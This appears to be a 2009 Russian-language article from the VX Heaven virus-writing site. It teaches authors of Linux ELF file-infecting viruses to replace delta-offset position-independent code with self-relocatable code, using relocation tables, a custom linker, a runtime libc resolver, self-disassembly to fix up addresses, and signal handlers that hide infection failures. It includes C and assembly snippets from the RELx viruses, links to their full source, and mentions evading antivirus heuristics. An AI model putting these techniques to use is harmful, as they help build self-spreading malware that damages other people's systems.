Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

From position-independent to self-relocatable viral code

herm1t
Декабрь 2009

1
[Вернуться к списку] [Комментарии (1)]
herm1t <[email protected]>
http://vx.netlux.org/herm1t/
... Теперь вирус должен уметь запускаться по виртуальному адресу, зависящему от длины зараженной программы, а это означает, что вирус должен быть написан в позиционно-независимом коде, используя относительные, а не абсолютные адреса. Для опытного программиста это не сложно.

Эндрю Таненбаум "Современные операционные системы"


Музыкант никому ничего не должен

Умка


Введение

В статье рассмотрены различные способы организации позиционно-независимого и перемещаемого кода. Показано, что отказ от PIC позволяет существенно ослабить ограничения на код вируса, и использовать те преимущества высокоуровнего программирования, которые ранее были практически недоступны авторам вирусов.

Дельты и базовые адреса

Писать ещё раз о дельта-смещении, всё равно что посылать в журнал "Радио" статью "Еще раз к вопросу о конструкции блока питания", но нужно же с чего-то начинать, поэтому - ещё раз к вопросу о дельта-смещении в вирусах.

Нулевое поколение вируса   Зараженная программа
8048100 |          |       |          | 8048100
        | virus:   |       |программа |   ↑
        |          |       |          |   дельта- 
        |          |       |...       |   смещение = 0x8048200 - 0x7948100 = 0x100
        |          |       +----------+   ↓
8048200 | variable |       | virus:   | 8048200 
8048204 | _end     |       |          |
                           |          |
Обращение к переменной     | variable | 8048300	Вирус добавляет к адресам
в обычной программе        | _end:    | 8048304	своих переменных дельту:
выглядит вот так:				mov edx, [ebp + variable]
B8 00 82 04 08 mov eax, [variable]		89 95 00 82 04 80

Если написать вирус, как обычную программу, то после заражения, вирус работать перестанет, так как в зараженной программе переменной по адресу 0x8048200 нет. Классическое решение состоит в вычислении дельта-смещения, разности между новым адресом вируса (в жертве) и старым адресом (в программе-носителе):

_virus:         call    .L0
.L0:            pop     ebp
                sub     ebp, .L0
; в ebp теперь разница между адресом метки .L0 (после компиляции) и реальным
; её адресом в памяти
                mov     eax, [ebp + var]               
; добавим к адресу переменной времени компиляции дельту и получим
; правильный адрес переменной в зараженном процессе
; 804888c: 8b 85 88 84 04 08
;               mov    0x8048488(%ebp),%eax
 
 

Казалось бы всё хорошо, вирус работает... Посмотрим теперь в код. Возьмём вирус Win32.Cyanide (by berniee), код выглядит прямо скажем не очень:

  40134a:       03 95 6a 10 40 00       add    0x40106a(%ebp),%edx
  401350:       89 95 72 10 40 00       mov    %edx,0x401072(%ebp)
  401356:       8b 50 20                mov    0x20(%eax),%edx
  401359:       03 95 6a 10 40 00       add    0x40106a(%ebp),%edx
  40135f:       89 95 7a 10 40 00       mov    %edx,0x40107a(%ebp)        

Зачем нам таскать за собой эти длинные константы?

А что если использовать смещения переменных от начала вируса?

_virus:         call    .L0
.L0:            pop     ebp
                sub     ebp, (.L0 - _virus)
; в ebp - <em>базовый адрес вируса</em>, он никак не учитывает то, какой именно
; адрес был у вируса после компиляции

; (var - _virus) - это <em>относительный</em> адрес переменной от начала вируса
                mov     eax, [ebp + (var - _virus)]
; 804888c: 8b 85 f1 03 00 00
;               mov     0x3f1(%ebp),%eax
 

Что в лоб, что по лбу - шесть байт, только значения поменялись. Однако, в качестве "точки отсчёта" можно взять любое значение. Например адрес области данных вируса:

_virus:         call    .L0
.L0:            pop     ebp
                sub     ebp, (.L0 - _virus) - (virus_data - _virus)
; в ebp - адрес "virus_data" в текущем процессе, который никак не зависит
; от того, каким этот адрес был в нулевом поколении вируса

; (var - virus_data) - это <em>относительный</em> адрес переменной "var"
; от начала области данных (virus_data)
                mov     eax, [ebp + (var - virus_data)]
<strong>; 8048889: 8b 45 00
;               mov    0x0(%ebp),%eax</strong>
        virus_data:
var             dd      0x55aa55aa
 

Для того, чтобы получить адреса в коде используем отрицательные смещения, например, адрес начала вируса - это ebp - (virus_data - _virus). Часто используемые переменные можно поместить в начало области данных, что даст определённую экономию.

Этот же способ используется в позиционно-независимом коде генерируемом компилятором. Все используемые адреса - относительные от _GLOBAL_OFFSET_TABLE_. При этом ссылки на GOT (и ниже - .rodata, .text...) имеют отрицательные смещения, выше (.got.plt, .data ...) - положительные.

Теперь немного об инструкции call, присутствующей в каждом примере. Этот код использовался и используется настолько часто, что эвристик одного из особо тупых антивирусов, когда-то срабатывал на последовательность CALL / POP / SUB. А между тем уже пятнадцать лет назад TLN предложил ("The Smallest Virus I Could Manage", vlad #3) просто вставлять дельту в копию вируса на этапе заражения. Попробуем. Только не дельту, а адрес данных вируса:

_virus:         ...
                mov     ebp, strict dword 0
; fix_vd - это смещение от начала вируса, слова, которое нужно пропатчить
; адресом virus_data (адрес вируса в жертве + (virus_data - _virus))
fix_vd          equ     $ - 4 - _virus
                mov     eax, [ebp + (var - virus_data)]
 

По сути, virus_data - это просто переменная, а что это значит? Это значит, что можно исправлять непосредственно абсолютные адреса переменных:

; esi - мог бы быть началом вируса в отображенной в память жертве
; edi - дельта
                add     [esi + fix_var], edi           
                ...
                mov     eax, [var]
fix_var         equ     $ - 4 - _virus
 

Теперь уже нету ни подозрительной инструкции "call", ни дельт в их обычном виде, ни красивых относительных адресов. А теперь делаем ещё один шаг вперёд. Нельзя ли поступить так со всеми переменными? В результате мы получим не позиционно-независимый, а перемещаемый (relocatable) код. Такой же, как и в "обычных" программах.

Relocation

В последнем примере из предыдущей главы показано, как можно в процессе заражения исправлять адреса переменных, но в примере только одна переменная, а в вирусе их много. Как быть? Не писать же по нескольку инструкций, на каждую переменную? А как устроены "обычные" программы? А вот как: все адреса, которые необходимо исправить, если программа будет загружена по другому адресу сведены в таблицу. Эта таблица называется таблицей перемещений (relocation table). Грубо говоря, в таблице содержатся смещения слов в программе, которые необходимо исправить. Где-то так:

; esi - мог бы быть началом вируса, внутри отображения жертвы в памяти
; edi - дельтой
                xor     ecx, ecx
        relocate:
                mov     eax, [rel + ecx * 4]
; NB! в настоящем вирусе, тут тоже наличествовал бы релок
; fix_rel equ $ - 4 - _virus
                add     [esi + eax], edi
                inc     ecx
                cmp     ecx, rel_count
                jb      relocate
                ...
                mov     eax, [var]
fix_var         equ     $ - 4 - _virus
                int     3
var             dd      0x55aa55aa
; таблица перемещений
rel             dd      fix_var
;               dd      fix_rel
rel_count       equ     ($ - rel) / 4
 

Как ты наверное понимаешь, у меня и мысли не возникало писать код таким образом. Таблица перемещений создается компилятором и присутствует только в объектных файлах. Чтобы таблица появилась в исполняемом файле необходимо указать компоновщику ключ "--emit-relocs". После чего можно дизассемблировать бинарь и посмотреть, что получилось:

8048480:       a1 87 84 04 08          mov    0x8048487,%eax
                       8048481: R_386_32       .text

Вот оно. Или так:

$ objdump -r ./a.out
...
RELOCATION RECORDS FOR [.text]:
OFFSET   TYPE              VALUE 
...
00000401 R_386_32          .text

Но и это ещё не всё. Наличие или отсутствие инструкции CALL, а также длина MOV-ов, загружающих значения переменных меня тоже не волнуют. На самом деле, избавившись от позиционно-независимого кода, мы избавляемся от самого жесткого ограничения на стиль кода вируса. Это значит, что теперь можно не напрягаясь писать вирус на любом языке, не прибегая к ассемблеру и всевозможным ухищрениям. Си со всеми фичами, такими как коллбеки, глобальные переменные, строки, библиотечные функции к вашим услугам. Теперь можно не тратить время на асмодрочерство или попытки беспощадно выебать тонко настроить компилятор, а заниматься ксором двордов в уме "вирусными технологиями", о которых мы любим попиздеть ртом, которые мы разработали, и которыми по праву гордимся.

Реализация

От теории к практике. Наиболее очевидный способ реализации - написать вирус, скомпилировать в объектный файл (с релоками), а затем при помощи специально написанной программы выдрать из объектика код, данные и таблицу перемещений вируса и заразить ими жертву. Раз уж всё равно придётся писать дроппер, то почему бы сразу не написать компоновщик?

Разберёмся для начала с форматом релоков.

В ELF файле таблица релоков для секции .text находится в секции .rel.text и содержит массив структур Elf32_Rel, которая состоит из смещения, типа и ссылки на таблицу символов (.dynsym), которая в свою очередь является массивом структур Elf32_Sym, в которой до чёртиков полей, в том числе значение символа, номер секции, смещение в таблице строк (.dynstr) на имя символа... Хватит? Мне тоже захотелось реализовать это как-нибудь попроще.

Вирус состоит из "фрагмента" (чтобы не путать с секциями и сегментами определёнными в ELF файле) кода и данных. С фрагментом кода всё ясно, а во фрагменте данных помимо собственно инициализированных переменных будут находится неинициализированные переменные (в обычных программах они "живут" в .bss), строки (в обычных программах - в .rodata), таблица перемещений и таблица строк с именами внешних функций.

Вирус состоит из процедур поиска жертв и заражения, а так же компоновщика времени исполнения (RTLD) и процедуры настройки на новые адреса relocate():

"фрагмент" кода
+- stub.o --------------+
| _start:		| __code_start
|	pusha		|
|	call	rtld	|
|	popa		|
|	jmp	__entry |
+- rtld.o --------------+
| findlibc, rtld,       |
| relocate              |
+- virus.o -------------+
| main() ...            | __code_end
+-----------------------+
"фрагмент" данных
+-----------------------+
| relocation table      | __data_start
| ... virus data ...    |
| string table          | __data_end
+-----------------------+

__* - это специальные символы, вычисляемые компоновщиком, в исходном коде они объявлены, как extern.

После запуска:

В этой статье делается упор на исправление адресов кода и данных вируса. Импорты - совсем другая история, существует возможность добавлять "статические" импорты, перепоручив резольвинг системному RTLD, не таская за собой громоздкий код резольвера: нужно пропатчить немного .dynsym, .dynstr, приделать, где-нибудь "сбоку" вирусные PLT и GOT, но импорты связаны с релоками лишь отчасти, так что о них в другой раз.

Таблица релоков состоит из 32-битных значений, заканчивающаяся на 0xffffffff, где:

БитыНазваниеОписание
31SRC_FRAGрелок находится в (0 секции кода, 1 - данных)
30..29DST_FRAGЗначение указывает на (0 - код, 1 - данные, 2 - библиотечную функцию, 3 - спец. символ)
28SRC_TYPEТип адреса (0 - абсолютный, 1 - относительный)
27-14SRC_OFFСмещение внутри фрагмента (в зависимости от SRC_FRAG) кода/данных, которое нужно пропатчить
13-0DST_OFFСмещение внутри фрагмента (в зависимости от DST_FRAG) кода/данных, которым нужно пропатчить. Если DST_FRAG = 2, то это смещение на имя внешней функции в таблице строк, если DST_FRAG = 3, то это номер символа, определяемого компоновщиком (старая точка входа)

Таким образом, значение 0xa8166c00 означает, что нужно вычислить адрес dst (фрагмент 1, т.е. начало данных вируса + 11264) и поместить его (тип 0, абсолютный адрес) по адресу src (фрагмент 1, т. е. начало данных вируса + 8281).

Проще всего, объяснить на примере кода вируса, настройка на новые адреса:

void relocate(uint8_t *text, uint8_t *data, uint32_t new_text, uint32_t new_data, uint32_t new_entry)
{
        reloc_t *rel;
        uint32_t *src, dst;
        for (rel = (reloc_t*)data; ! IS_FINI(*rel); rel++)
                /* skip external symbols, they will be resolved at run-time */
                if (DST_FRAG(*rel) != 2) {
                        /* pointer to the value that must be fixed */
                        src = (uint32_t*)((SRC_FRAG(*rel) == 1 ?
                                data : text) + SRC_OFF(*rel));
                        /* there is only one internal symbol ("frag" 3) left: __entry */
                        dst = DST_FRAG(*rel) == 3 ?
                                new_entry : (DST_FRAG(*rel) ? new_data : new_text) + DST_OFF(*rel);
                        /* patch in absolute/relative value */
                        *src = SRC_TYPE(*rel) == 0 ?
                                dst : dst - ((SRC_FRAG(*rel) ? new_data : new_text) + SRC_OFF(*rel) + 4);
                }
}
 

Адреса библиотечных функций:

        for ( ; ! IS_FINI(*rel); rel++)
                if (DST_FRAG(*rel) == 2) {
                        uint32_t src, dst;
                        src = (uint32_t)(SRC_FRAG(*rel) ? &__data_start : &__code_start) + SRC_OFF(*rel);
                        dst = resolve(&libc, (char*)&__data_start + DST_OFF(*rel));
                        *(uint32_t*)src = SRC_TYPE(*rel) ? dst - (src + 4) : dst;
                }
 

А теперь самое интересное. Как сформировать таблицу?

LD

Исходный код вируса компилируется gcc в объектный файл, но связывается не ld(1) из binutils, а собственным компоновщиком.

Грубо говоря, что из себя представляет компоновщик? Есть несколько объектных файлов, которые содержат неопределенные [на стадии компиляции] (undefined) символы (то что в программе объявлено, как extern), и глобальные (global) символы всё, что не static). Символом может быть, как функция, так и переменная. Задача компоновщика - связать (link) их между собой, то есть подставить адреса глобальных символов, определенных в одном из файлов, в тот файл, в котором этот символ не определен. Более сложные ситуации, такие как weak symbols, symbol versioning, и прочие неудобоваримые подробности опустим за ненадобностью. Переписывать заново ld(1) совсем не нужно. Что делает "вирусный ld":

...и работает. :-)

Перемещаемый код без релоков

Есть ещё один интересный (теперь уже риторический) вопрос - а нельзя ли сделать то же самое (пожертвовав некоторой функциональностью), но без таблиц и без собственных линкеров? Попроще как-нибудь... Да, можно! Возьмём любую программу, хотя бы и такую:

int a = 10;
int main()
{
        printf("Hello %d %d\n", a + 256, 11);
}
 
 8048395:       6a 0b                   push   $0xb		; 11
 8048397:       a1 a0 95 04 08          mov    0x80495a0,%eax	; a
 804839c:       05 00 01 00 00          add    $0x100,%eax	; 256
 80483a1:       50                      push   %eax		; a + 256
 80483a2:       68 90 84 04 08          push   $0x8048490	; "Hello %d %d\n"
 80483a7:       e8 ec fe ff ff          call   8048298 <printf@plt>      

Даже ослу понятно, что 80495a0, 8048490 и 8048298 - это адреса, а 11 и 256 - это константы, при этом 80495a0 и 8048490 - это данные (указывают на секции .data и .rodata), а 8048298 - это код, и мало того, что код, вызов внешней функции (секция .plt). Если это понятно ослу, то попробуем обучить этому нехитрому умению вирус.

Чтобы упростить код, как и впредыдущем случае склеим секции .data и .rodata, но в этот раз при помощи скрипта компоновщика (info ld). Получим стандартный скрипт компоновки (ld --verbose) и немного его поправим, заменим:

  .text           :
  {
    *(.text .stub .text.* .gnu.linkonce.t.*)
    KEEP (*(.text.*personality*))
    ...
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    ...

на

	__text_start =.;
	_text : {
		stub.o(.text)
		virus.o(.text)
	} =0x90909090
	__text_end =.;
	...

Нам нужны символы, указывающие на начало/конец кода/данных (text/data start/end) и нам нужно, чтобы в коде вируса отсутствовали функции, определённые в crt*.o (все эти __do_global_dtors_aux, frame_dummy и прочий мусор). Поэтому вместо *(.text), я пишу virus.o(.text), то есть взять секцию .text не из всех файлов, а только из virus.o. .bss можно приклеить к .data, а можно задавить аттрибутом ((section (".data"))).

Для того, чтобы исправить адреса в коде вируса, я взял дизассемблер (YAD, EOF#2). Вирус дизассемблирует собственный код и проверяет все константы, которые являются частью инструкции. Если константа попадает в диапазон [__text_start ... __text_end], то вирус считает её адресом, указывающим на код, если [__data_start ... __data_end] - то на данные. Исправить адрес просто: нужно вычесть старый адрес кода/данных (__text_start/data_start) и добавить новый (new_text / new_data, которые вычисляются в функции заражения):

                if(*(p - 1) == 0x61 && *p == 0xe9)
                        r = (3 << 30) | (offset + 1);
                else
#define CHECK_FOR_REL(a,b,c, d) \
                if (y.a >= (uint32_t)&__ ## b ## _start && y.a <= (uint32_t)&__ ## b ## _end)   \
                        r = (offset + y.len - 4 + c) | (d << 30);       \
                else

                CHECK_FOR_REL(data4, text, 0, 0)
                CHECK_FOR_REL(data4, data, 0, 1)
                CHECK_FOR_REL(addr4, text, -y.datasize, 0)
                CHECK_FOR_REL(addr4, data, -y.datasize, 1)
                ;
 

Результат складывается в таблицу для последующего использования.

Если в коде вируса попадётся константа, попадающая в соответсвующий диапазон, то всё пропало. :-) Вероятность этого не велика, кроме того подобный глюк будет выявлен и исправлен на этапе отладки. Код можно улучшить при помощи нескольких простых правил:

Возникает соблазн использовать этот же алгоритм для перемещения кода жертвы, но такой фокус для некоторых файлов закончится весьма плачевно.

NB! ... но в результате более детального анализа, мне кажется, всё-таки возможно отличить адреса от констант, по крайней мере в файлах скопилированных определённым компилятором. В конце концов, можно и прототипы функций из /usr/include вытащить (grep -r '^[^#].* [\*]*ftw[ ]*(' /usr/include|sed 's/[^(,\*)]//g'). Шутки - шутками, а подумать есть над чем.

Однако, я точно знаю, как устроен код моего вируса, поэтому для кода вируса алгоритм будет работать надёжно даже без проверок.

...и работает. :-)

Обработка ошибок

Обсуждая со знакомым, некоторые аспекты заражения файлов, я получил хороший совет: Будет проще [установить обработчик исключений], и именно так работает большинство вирусов под Windows. Слишком много чего может пойти не так при разборе заголовков, не стоит проверять все возможные варианты (или даже знать о них). Этот совет относится не только к заголовкам. Поэтому оба вируса перехватывают сигналы SIGSEGV и SIGBUS. Если обработчик получит управление, то он востановит стек (переменная orig_esp), и вернет управление программе-носителю.

Заключение

Предложенный метод позволяет:

Писать на HLL можно было и без этого, но приходилось либо запихивать необходимый функционал в библиотеку (как предложил в своё время Whale "Позиционно-независимый код на HLL. Загрузка DLL из памяти.") либо, буквально упрашивать компилятор сгенерировать "правильный" код в "правильном" порядке, после чего компилятор обновлялся и приходилось начинать всё по новой. Одна только диверсия с -funit-at-a-time чего стоит!

Вопреки распространенному мнению, вирусы на Си получаются вполне компактные (2-3 килобайта кода), можно было бы переписать их на ассемблере и сэкономить пару сотен байт, но всем похуй кому это нужно?

Примеры

Полный код вирусов RELx.A/G2 и примеров можно скачать здесь.

1.asm
Дельта-смещение. Классика.
2.asm
Адрес вируса в памяти.
3.asm
Адрес данных вируса в памяти.
4.asm
То же, но без CALL
5.asm
Исправление адреса переменной

Как работать с примерами?

$ make
...
$ gdb ./4
...
(gdb) r
Program received signal SIGTRAP, Trace/breakpoint trap.
0x080493e2 in ?? ()
можно убедиться, что адрес переменной верен
(gdb) info reg
eax            0x55aa55aa       1437226410
...
это исправленный код (в памяти)
(gdb) disas 0x080493d8 0x080493e2
Dump of assembler code from 0x80493d8 to 0x80493e2:
0x080493d8:     mov    $0x80493e2,%ebp
0x080493dd:     mov    0x0(%ebp),%eax
0x080493e0:     int    $0x3
(gdb) q
исходный код (в файле)
$ objdump -d 4|tail
 804888e:       bd 00 00 00 00          mov    $0x0,%ebp
 8048893:       8b 45 00                mov    0x0(%ebp),%eax
 8048896:       cd 03                   int    $0x3

1 Вот так (-ggdb -Wa,-ahl). Оно тебе надо?

 1270 0b18 8B459C               movl    -100(%ebp), %eax
 1271 0b1b 8B4814               movl    20(%eax), %ecx
 1272 0b1e 8B459C               movl    -100(%ebp), %eax
 1273 0b21 8B501C               movl    28(%eax), %edx
 1274 0b24 8B45A8               movl    -88(%ebp), %eax
 1275 0b27 C1E004               sall    $4, %eax
 1276 0b2a 8D0402               leal    (%edx,%eax), %eax
 1277 0b2d 0FB7400E             movzwl  14(%eax), %eax
 1278 0b31 0FB7D0               movzwl  %ax, %edx
 1279 0b34 89D0                 movl    %edx, %eax
 1280 0b36 C1E002               sall    $2, %eax
 1281 0b39 01D0                 addl    %edx, %eax
 1282 0b3b C1E003               sall    $3, %eax
 1283 0b3e 8D0401               leal    (%ecx,%eax), %eax
 1284 0b41 8B4008               movl    8(%eax), %eax
 1285 0b44 83E004               andl    $4, %eax
 1286 0b47 85C0                 testl   %eax, %eax
 1287 0b49 0F94C0               sete    %al
 1288 0b4c 0FB6C0               movzbl  %al, %eax
 1289 0b4f 8945DC               movl    %eax, -36(%ebp)
[Вернуться к списку] [Комментарии (1)]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua